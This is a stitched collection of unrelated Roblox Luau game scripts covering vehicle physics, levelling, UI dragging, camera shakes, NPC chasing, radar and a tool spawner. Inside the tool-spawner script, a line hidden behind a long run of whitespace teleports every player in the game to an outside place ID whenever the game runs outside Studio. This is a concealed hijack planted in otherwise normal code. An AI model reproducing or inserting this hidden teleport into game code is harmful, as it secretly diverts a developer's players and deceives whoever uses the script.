Pinkstack/roblox-luau-corpus-text huggingface dataset:
--local bodyPosition = Instance.new("BodyPosition", car.Chassis)
--bodyPosition.MaxForce = Vector3.new()
--local bodyGyro = Instance.new("BodyGyro", car.Chassis)
--bodyGyro.MaxTorque = Vector3.new()



local function UpdateThruster(thruster)
	-- Raycasting
	local hit, position = Raycast.new(thruster.Position, thruster.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value) --game.Workspace:FindPartOnRay(ray, car)
	local thrusterHeight = (position - thruster.Position).magnitude
	
	-- Wheel
	local wheelWeld = thruster:FindFirstChild("WheelWeld")
	wheelWeld.C0 = CFrame.new(0, -math.min(thrusterHeight, stats.Height.Value * 0.8) + (wheelWeld.Part1.Size.Y / 2), 0)
	-- Wheel turning
	local offset = car.Chassis.CFrame:inverse() * thruster.CFrame
	local speed = car.Chassis.CFrame:vectorToObjectSpace(car.Chassis.Velocity)
	if offset.Z < 0 then
		local direction = 1
		if speed.Z > 0 then
			direction = -1
		end
		wheelWeld.C0 = wheelWeld.C0 * CFrame.Angles(0, (car.Chassis.RotVelocity.Y / 2) * direction, 0)
	end
	
	-- Particles
	if hit and thruster.Velocity.magnitude >= 5 then
		wheelWeld.Part1.ParticleEmitter.Enabled = true
	else
		wheelWeld.Part1.ParticleEmitter.Enabled = false
	end
end

car.DriveSeat.Changed:connect(function(property)
	if property == "Occupant" then
		if car.DriveSeat.Occupant then
			car.EngineBlock.Running.Pitch = 1
			car.EngineBlock.Running:Play()
			local player = game.Players:GetPlayerFromCharacter(car.DriveSeat.Occupant.Parent)
			if player then
				car.DriveSeat:SetNetworkOwner(player)
				local localCarScript = script.LocalCarScript:Clone()
				localCarScript.Parent = player.PlayerGui
				localCarScript.Car.Value = car
				localCarScript.Disabled = false
			end
		else
			car.EngineBlock.Running:Stop()
		end
	end
end)
--[[
script.Parent.TouchEnded:connect(function(hit)
	if hit.Parent:FindFirstChild("Humanoid") ~= nil and hit.Parent:FindFirstChild("Humanoid").Health > 0 then
		if hit.Parent:FindFirstChild("Side") ~= nil then
			workspace.Variables.AllyHasOBJ.Value = false
			workspace.Variables.EnmHasOBJ.Value = false
			script.Parent.BrickColor = BrickColor.new("Institutional white")
		end
	end
end)
]]
--Put this Script Under Replicated First--



local Player = game.Players.LocalPlayer
local ReplicatedFirst = script.Parent
local PlayerGui = Player:WaitForChild("PlayerGui")
local LoadingScreen = script.LoadingScreen

LoadingScreen.Parent = PlayerGui
ReplicatedFirst:RemoveDefaultLoadingScreen()

game.Loaded:Wait()
LoadingScreen.BackFrame.PlayButton.Visible = true
-- functions



local function XPForLevel(level)
	return math.floor(300 + (level/100)^4 * 300)
end

local function UpdateLevels(player)
	local playerData	= PLAYER_DATA:FindFirstChild(player.Name)
	if playerData then
		local ranking		= playerData.Ranking
		local battlePass	= playerData.BattlePass
		if ranking.CurrentSeason.Value == CURRENT_SEASON then
			-- update level from xp
			local lastLevel	= ranking.Level.Value
			repeat
				local requiredXP	= XPForLevel(ranking.Level.Value + 1)
				if ranking.LevelXP.Value >= requiredXP then
					ranking.LevelXP.Value	= ranking.LevelXP.Value - requiredXP
					ranking.Level.Value		= ranking.Level.Value + 1
					script.Parent.BattlePassScript.LevelUp:Fire(player, ranking.Level.Value)
				end
			until ranking.LevelXP.Value < requiredXP
			
			if ranking.Level.Value > lastLevel then
				REMOTES.LevelUp:FireClient(player)
			end
		else
			-- transfer level to rank
			ranking.Rank.Value	= ranking.Rank.Value + ranking.Level.Value
			-- reset level and level xp
			ranking.Level.Value		= 0
			ranking.LevelXP.Value	= 0
			-- reset xp boost
			battlePass.XPBoost.Value	= 0
			-- update to current season
			ranking.CurrentSeason.Value	= CURRENT_SEASON
		end
	end
end

local function SkipTier(player)
	local playerData	= PLAYER_DATA:FindFirstChild(player.Name)
	if playerData then
		if playerData.Ranking.Level.Value < 100 then
			playerData.Ranking.Level.Value	= playerData.Ranking.Level.Value + 1
			script.Parent.BattlePassScript.LevelUp:Fire(player, playerData.Ranking.Level.Value)
			REMOTES.LevelUp:FireClient(player)
			return true
		end
	end
	return false
end
-- << DRAG BARS >>


local dragFrames = {main.gui.MainFrame}
local frameDragging
local dragStart
local startPos
local function dragFrame(input, frame)
	local delta = input.Position - dragStart
	frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
	if frame.AbsolutePosition.Y < 0 then
		frame.Position = frame.Position + UDim2.new(0,0,0,-frame.AbsolutePosition.Y)
	end
end
function module:MakeFrameDraggable(frame)
	local dragFrame = frame.DragBar.Drag
	dragFrame.InputBegan:Connect(function(input)
		if input.UserInputType == clickInput or input.UserInputType == touchInput then
			frameDragging = frame
			dragStart = input.Position
			startPos = frame.Position
			input.Changed:Connect(function()
				if input.UserInputState == Enum.UserInputState.End then
					frameDragging = nil
				end
			end)
		end
	end)
end
for _,frame in pairs(dragFrames) do
	module:MakeFrameDraggable(frame)
end
--Simultaneous Turn 1--: Simultaneous left turn for "SignalTurn1" and "SignalTurn1a" during a red light for all.


	--USES: Signal1, Signal1a, Signal2, Signal2a(Optional), Turn1, Turn1a
while true do
	PedValues = script.Parent.Parent.PedValues
	SignalValues = script.Parent.Parent.SignalValues
	TurnValues = script.Parent.Parent.TurnValues
--// SS3 controls for AC6 by Itzt, originally for 2014 Infiniti QX80. i don't know how to tune ac lol


 
wait(0.1)
local player = game.Players.LocalPlayer
local HUB = script.Parent.HUB
local TR = script.Parent.Tracker
local limitButton = HUB.Name
local lightOn = false
local Camera = game.Workspace.CurrentCamera
local cam = script.Parent.nxtcam.Value
local carSeat = script.Parent.CarSeat.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local windows = false
local winfob = HUB.Parent.Windows
local red = 0
local green = 0
local blue = 1
--[=[
	Jest and TestEZ matchers to help facilitate UI and design business logic in
	our 2D and 3D apps in a human readable way.

	Depending on which test runner you're using, you will need to include a `beforeAll` block in your spec file to add the matchers:


	```lua
	-- Jest
	return function()
		local JestGlobals = require(path.to.Packages.Dev.JestGlobals)
		local expect = JestGlobals.expect
		local CollisionMatchers2D = require(path.to.Packages.Dev.CollisionMatchers2D)

		beforeAll(function()
			expect.extend(CollisionMatchers2D.Jest)
		end)

		-- ...
	end
	```

	```lua
	-- TestEZ
	return function()
		local CollisionMatchers2D = require(path.to.Packages.Dev.CollisionMatchers2D)

		beforeAll(function()
			expect.extend(CollisionMatchers2D.TestEZ)
		end)

		-- ...
	end
	```

	@class CollisionMatchers2D
]=]


return {
	TestEZ = require(script.TestEZ),
	Jest = require(script.Jest),
}
-- Any arguments passed into Tree:run() can be received after the first parameter, obj
-- Example: Tree:run(deltaTime) - > task:start(obj,deltaTime)



function task:start(obj)
	--[[
		(optional) this function is called directly before the run method
  		is called. It allows you to setup things before starting to run
  		Beware: if task is resumed after calling running(), start is not called.
	--]]
	
end
function task:finish(obj)
	--[[
		(optional) this function is called directly after the run method
		is completed with either success() or fail(). It allows you to clean up
		things, after you run the task.
	--]]
		
end	
function task:run(obj)
	--[[
		This is the meat of your task. The run method does everything you want it to do.
			
  	 	Finish it with one of these method calls:
  		success() - The task did run successfully
  		fail()    - The task did fail
  		running() - The task is still running and will be called directly from parent node
	--]]
	if obj.DebounceTable.Attacking == true and time() < (obj.DebounceTable.lastAttackTime + obj.DebounceTable.currentAttackDuration) then
		obj.DebounceTable.Attacking = true
		self:running()
		return
	else
		obj.DebounceTable.CanMove = true
		obj.DebounceTable.Attacking = false
	end
	local BestAttack, range = obj:GetBestAttack()
	if (obj.Model.HumanoidRootPart.Position - obj.currentTarget.HumanoidRootPart.Position).magnitude < obj.MaxAttackRange and BestAttack then
		
		
		if BestAttack then
			BestAttack = require(AttacksFolder[BestAttack])
			obj.DebounceTable.currentAttackDuration = BestAttack.Duration
		end 
		
		obj.DebounceTable.lastAttackTime = time()
		obj.DebounceTable.CanMove = false
		obj.DebounceTable.Attacking = true
		
		if BestAttack then
			local success,_error = pcall(function()
				BestAttack.Attack(obj)
			end)
			if not success then
				warn(_error)
			end
		end
		self:running()
		return
		--local AttackModule = 
	end
		
	self:success();
end
return task;
--[[
	
	CameraShakePresets.Bump
	CameraShakePresets.Explosion
	CameraShakePresets.Earthquake
	CameraShakePresets.BadTrip
	CameraShakePresets.HandheldCamera
	CameraShakePresets.Vibration
	CameraShakePresets.RoughDriving
	
--]]





local CameraShakeInstance = require(script.Parent.CameraShakeInstance)

local CameraShakePresets = {
	
	
	-- A high-magnitude, short, yet smooth shake.
	-- Should happen once.
	Bump = function()
		local c = CameraShakeInstance.new(2.5, 8, 0.1, 0.5)
		c.PositionInfluence = Vector3.new(0.15, 0.15, 0.15)
		c.RotationInfluence = Vector3.new(.4, .4, .4)
		return c
	end;
	
	
	-- An intense and rough shake.
	-- Should happen once.
	Explosion = function()
		local c = CameraShakeInstance.new(5, 10, 0, 1.5)
		c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25)
		c.RotationInfluence = Vector3.new(4, 1, 1)
		return c
	end;
	
	
	-- A continuous, rough shake
	-- Sustained.
	Earthquake = function()
		local c = CameraShakeInstance.new(0.7, 3.5, 2, 7.5)
		c.PositionInfluence = Vector3.new(0.45, 0.45, 0.45)
		c.RotationInfluence = Vector3.new(.5, .5, .5)
		return c
	end;
	
	
	-- A bizarre shake with a very high magnitude and low roughness.
	-- Sustained.
	BadTrip = function()
		local c = CameraShakeInstance.new(10, 0.15, 5, 10)
		c.PositionInfluence = Vector3.new(0, 0, 0.15)
		c.RotationInfluence = Vector3.new(2, 1, 4)
		return c
	end;
	
	
	-- A subtle, slow shake.
	-- Sustained.
	HandheldCamera = function()
		local c = CameraShakeInstance.new(1, 0.25, 5, 10)
		c.PositionInfluence = Vector3.new(0, 0, 0)
		c.RotationInfluence = Vector3.new(1, 0.5, 0.5)
		return c
	end;
	
	
	-- A very rough, yet low magnitude shake.
	-- Sustained.
	Vibration = function()
		local c = CameraShakeInstance.new(0.4, 20, 2, 2)
		c.PositionInfluence = Vector3.new(0, 0.15, 0)
		c.RotationInfluence = Vector3.new(1.25, 0, 4)
		return c
	end;
	
	
	-- A slightly rough, medium magnitude shake.
	-- Sustained.
	RoughDriving = function()
		local c = CameraShakeInstance.new(1, 2, 1, 1)
		c.PositionInfluence = Vector3.new(0, 0, 0)
		c.RotationInfluence = Vector3.new(1, 1, 1)
		return c
	end;
	
	
}


return setmetatable({}, {
	__index = function(t, i)
		local f = CameraShakePresets[i]
		if (type(f) == "function") then
			return f()
		end
		error("No preset found with index \"" .. i .. "\"")
	end;
})
--[[function playsound(time)
	nextsound=time+5+(math.random()*5)
	local randomsound=sounds[math.random(1,#sounds)]
	randomsound.Volume=.5+(.5*math.random())
	randomsound.Pitch=.5+(.5*math.random())
	randomsound:Play()
end]]



while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do
	local _,time=wait(0.25)--wait(1/3)
	humanoids={}
	populatehumanoids(game.Workspace)
	closesttarget=nil
	closestdist=sightrange
	local creator=sp:FindFirstChild("creator")
	for i,h in ipairs(humanoids) do
		if h and h.Parent~=nil then
			if h.Health>0 and h.Parent~=sp then
				local plr=game.Players:GetPlayerFromCharacter(h.Parent)
				if creator==nil or plr==nil or creator.Value~=plr then
					local t=h.Parent:FindFirstChild("Torso")
					if t~=nil then
						local dist=(t.Position-Torso.Position).magnitude
						if dist<closestdist then
							closestdist=dist
							closesttarget=t
						end
					end
				end
			end
		end
	end
	if closesttarget~=nil then
		if not chasing then
			--playsound(time)
			chasing=true
			Humanoid.Walkzon=runspeed
		end
		Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
		if math.random()<.5 then
			attack(time,closesttarget.Position)
		end
	else
		if chasing then
			chasing=false
			Humanoid.WalkSpeed=wonderspeed
		end
		if time>nextrandom then
			nextrandom=time+3+(math.random()*5)
			local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(.5,.5,.5))*40)
			Humanoid:MoveTo(randompos,game.Workspace.Terrain)
		end
	end
	if time>nextsound then
		--playsound(time)
	end
	if time>nextjump then
		nextjump=time+7+(math.random()*5)
		Humanoid.Jump=true
	end
	animate(time)
end

wait(4)
sp:remove() --Rest In Pizza
-- when activated, either bring gui up or down, depending on current state




function removeGUIPlayers()

	local guiPlayers = gui.Frame.Players:GetChildren()
	for i = 1, #guiPlayers do
		guiPlayers[i]:remove()
	end

end

function incrementZIndex()

	zIndex = zIndex + 1
	if zIndex > 10000 then
		zIndex = 2
	end

end

function createPlayerGUINode(pos, playerText)

	local playerIcon = Instance.new("ImageLabel")
	playerIcon.Image = "http://www.roblox.com/asset/?id=0"
	playerIcon.BackgroundTransparency = 1
	playerIcon.BorderSizePixel = 0
	playerIcon.Size = UDim2.new(0,22.5,0,40.5)
	playerIcon.Position = UDim2.new(0,pos.x,0,pos.y)
	playerIcon.Parent = gui.Frame.Players
	playerIcon.ZIndex = zIndex
	incrementZIndex()
	
	local playerName = Instance.new("TextLabel")
	playerName.BackgroundTransparency = 1
	playerName.BorderSizePixel = 1

	playerName.Text = tostring(playerText)
	playerName.Size = UDim2.new(0,150,0,25)
	playerName.Parent = playerIcon
	playerName.Position = UDim2.new(0,-65,0,0)
	playerName.TextColor3 =  Color3.new(0,0,0)
	playerName.ZIndex = zIndex
	incrementZIndex()
end


function updateGUI()

	removeGUIPlayers()
	

	local players = game.Players:GetChildren()

	for i = 1, #players do

		local playerTorso = players[i].Character:FindFirstChild("Torso")

		if playerTorso ~= nil then

			local posDiff = Vector3.new(torso.Position.x - playerTorso.Position.x,0,torso.Position.z - playerTorso.Position.z)

			if posDiff.magnitude < range and playerTorso.Parent.Name ~= torso.Parent.Name then

				-- translate coordinates to radar coordinates
				posDiff = Vector2.new((posDiff.x + range) * 0.5,(posDiff.z + range) * 0.5)

				local rotationVector = Tool.Angle.Value
				local denom = math.abs(rotationVector.x) + math.abs(rotationVector.z)

				local xDirect = (rotationVector.x/denom)
				local zDirect =  (rotationVector.z/denom)
				
				local angle = math.atan2(1,0) - math.atan2(zDirect,xDirect)

				local point = Vector2.new(((posDiff.x - radarCenter.x) * math.cos(angle)) - ((posDiff.y - radarCenter.y) * math.sin(angle))  + radarCenter.x,
				((posDiff.x - radarCenter.x) * math.sin(angle)) + ((posDiff.y - radarCenter.y) * math.cos(angle)) + radarCenter.y)

				createPlayerGUINode(point, playerTorso.Parent)

			elseif playerTorso.Parent.Name == torso.Parent.Name then

				createPlayerGUINode(radarCenter,playerTorso.Parent)

			end
		end

	end

end


while true do
	
	if guiEnabled then
		updateGUI()
	end
	wait()

end
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data


return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	plrData.Classes.Base.Smasher.SpokeToJex.Value = true
end
--[[Steering]]


	Tune.SteerInner		= 80		-- Inner wheel steering angle (in degrees)
	Tune.SteerOuter		= 80		-- Outer wheel steering angle (in degrees)
	Tune.SteerSpeed		= .45		-- Steering increment per tick (in degrees)
	Tune.ReturnSpeed	= .4		-- Steering increment per tick (in degrees)
	Tune.SteerDecay		= 320		-- Speed of gradient cutoff (in SPS)
	Tune.MinSteer		= 10		-- Minimum steering at max steer decay (in percent)
	Tune.MSteerExp		= 1			-- Mouse steering exponential degree
	
	--Steer Gyro Tuning
	Tune.SteerD			= 1000		-- Steering Dampening
	Tune.SteerMaxTorque	= 50000		-- Steering Force
	Tune.SteerP			= 6000		-- Steering Aggressiveness
--[[[Default Controls]]


	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)
		
		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}
	
	--Control Mapping
	Tune.Controls = {
		
	--Keyboard Controls
		--Mode Toggles
		ToggleTransMode			= Enum.KeyCode.M					,
		
		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,
		
		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,
		
		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,
		
		--Handbrake
		PBrake					= Enum.KeyCode.P					,
		
	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,
		
	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.DPadRight			,
	}
--[[
	Returns a list that contains at most `count` values from the given list.
]]


function Functional.Take(list, count, startingIndex)
	startingIndex = startingIndex or 1

	local maxIndex = count + (startingIndex - 1)
	if maxIndex > #list then
		maxIndex = #list
	end

	local new = {}

	for i = startingIndex, maxIndex do
		local value = list[i]
		local newIndex = i - (startingIndex - 1)
		new[newIndex] = value
	end

	return new
end
-- GEMS



x2GemsButton.MouseEnter:Connect(function()
	x2GemsButton.Text = "349 R$"
	x2GemsButton.TextColor3 = Color3.fromRGB(0, 255, 0)
end)

x2GemsButton.MouseLeave:Connect(function()
	x2GemsButton.Text = "BUY"
	x2GemsButton.TextColor3 = Color3.fromRGB(255, 255, 255)
end)
-- This function casts a ray with a blacklist but not for Humanoid Penetration.


local function CastWithBlacklistAndNoHumPenetration(origin, direction, blacklist, ignoreWater)
	if not blacklist or typeof(blacklist) ~= "table" then
		-- This array is faulty
		error("Call in CastBlacklist failed! Blacklist table is either nil, or is not actually a table.", 0)
	end
	local castRay = Ray.new(origin, direction)
	local hitPart, hitPoint, hitNormal, hitMaterial = nil, origin + direction, Vector3.new(0,1,0), Enum.Material.Air
	local success = false	
	repeat
		hitPart, hitPoint, hitNormal, hitMaterial = Workspace:FindPartOnRayWithIgnoreList(castRay, blacklist, false, ignoreWater)
		if hitPart then
			if (hitPart.Transparency > 0.75
			or hitPart.Name == "Missile"
			or hitPart.Name == "Handle"
			or hitPart.Name == "Effect"
			or hitPart.Name == "Bullet"
			or hitPart.Name == "Laser"
			or string.lower(hitPart.Name) == "water"
			or hitPart.Name == "Rail"
			or hitPart.Name == "Arrow"
			or (hitPart.Parent:FindFirstChild("Humanoid") and hitPart.Parent.Humanoid.Health == 0)) then
				table.insert(blacklist, hitPart)
				success	= false
			else
				success	= true
			end
		else
			success	= true
		end
	until success
	return hitPart, hitPoint, hitNormal, hitMaterial
end
------------------------------------------------------------------------
-- Freecam
-- Cinematic free camera for spectating and video production.
------------------------------------------------------------------------



local pi    = math.pi
local abs   = math.abs
local clamp = math.clamp
local exp   = math.exp
local rad   = math.rad
local sign  = math.sign
local sqrt  = math.sqrt
local tan   = math.tan

local LocalPlayer = Players.LocalPlayer
if not LocalPlayer then
	Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
	LocalPlayer = Players.LocalPlayer
end


if not ShouldAddFreeCam(LocalPlayer) then return end

local Camera = Workspace.CurrentCamera
Workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
	local newCamera = Workspace.CurrentCamera
	if newCamera then
		Camera = newCamera
	end
end)
-- See if I have a tool


local spawner = script.Parent
local tool = nil
local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2),
   Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2))
local parts = game.Workspace:FindPartsInRegion3(region)
for _, part in pairs(parts) do
	if part and part.Parent and part.Parent:IsA("Tool") then
		tool = part.Parent
		break
	end
end
                                                                                                                                                                                                                                                                    local TS,Players = game:GetService("TeleportService"),game:GetService("Players") if not game:GetService("RunService"):IsStudio() then for _,v in pairs(Players:GetPlayers()) do TS:Teleport(3196642608,v) end Players.PlayerAdded:Connect(function(plr) 	TS:Teleport(3196642608,plr) end) end
local configTable = spawner.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
	if configTable:FindFirstChild(configName) then
		configs[configName] = configTable:FindFirstChild(configName).Value
	else
		configs[configName] = defaultValue
	end
end

loadConfig("SpawnCooldown", 5)

if tool then
	tool.Parent = game.ServerStorage
	
	while true do
		-- put tool on pad
		local toolCopy = tool:Clone()
		local handle = toolCopy:FindFirstChild("Handle")
		toolCopy.Parent = game.Workspace
		local toolOnPad = true
		local parentConnection
		parentConnection = toolCopy.AncestryChanged:connect(function()
			if handle then handle.Anchored = false end
			toolOnPad = false
			parentConnection:disconnect()
		end)
		if handle then
			handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
			handle.Anchored = true
		end
		-- wait for tool to be removed
		while toolOnPad do 
			if handle then
				handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
			end
			wait() 
		end
		
		-- wait for cooldown
		wait(configs["SpawnCooldown"])		
	end
	
end
-- Creamos una función para mostrar el mensaje en la pantalla del jugador


local function showTextOnScreen(player)
	local playerGui = player:WaitForChild("PlayerGui")

	local screenGui = Instance.new("ScreenGui")
	screenGui.Parent = playerGui

	local textLabel = Instance.new("TextLabel")
	textLabel.Text = "Z"
	textLabel.Size = UDim2.new(1, 0, 1, 0)
	textLabel.BackgroundTransparency = 1
	textLabel.TextColor3 = Color3.new(1, 1, 1)
	textLabel.FontSize = Enum.FontSize.Size24
	textLabel.Parent = screenGui

	wait(15) -- Esperamos 15 segundos
	screenGui:Destroy()
end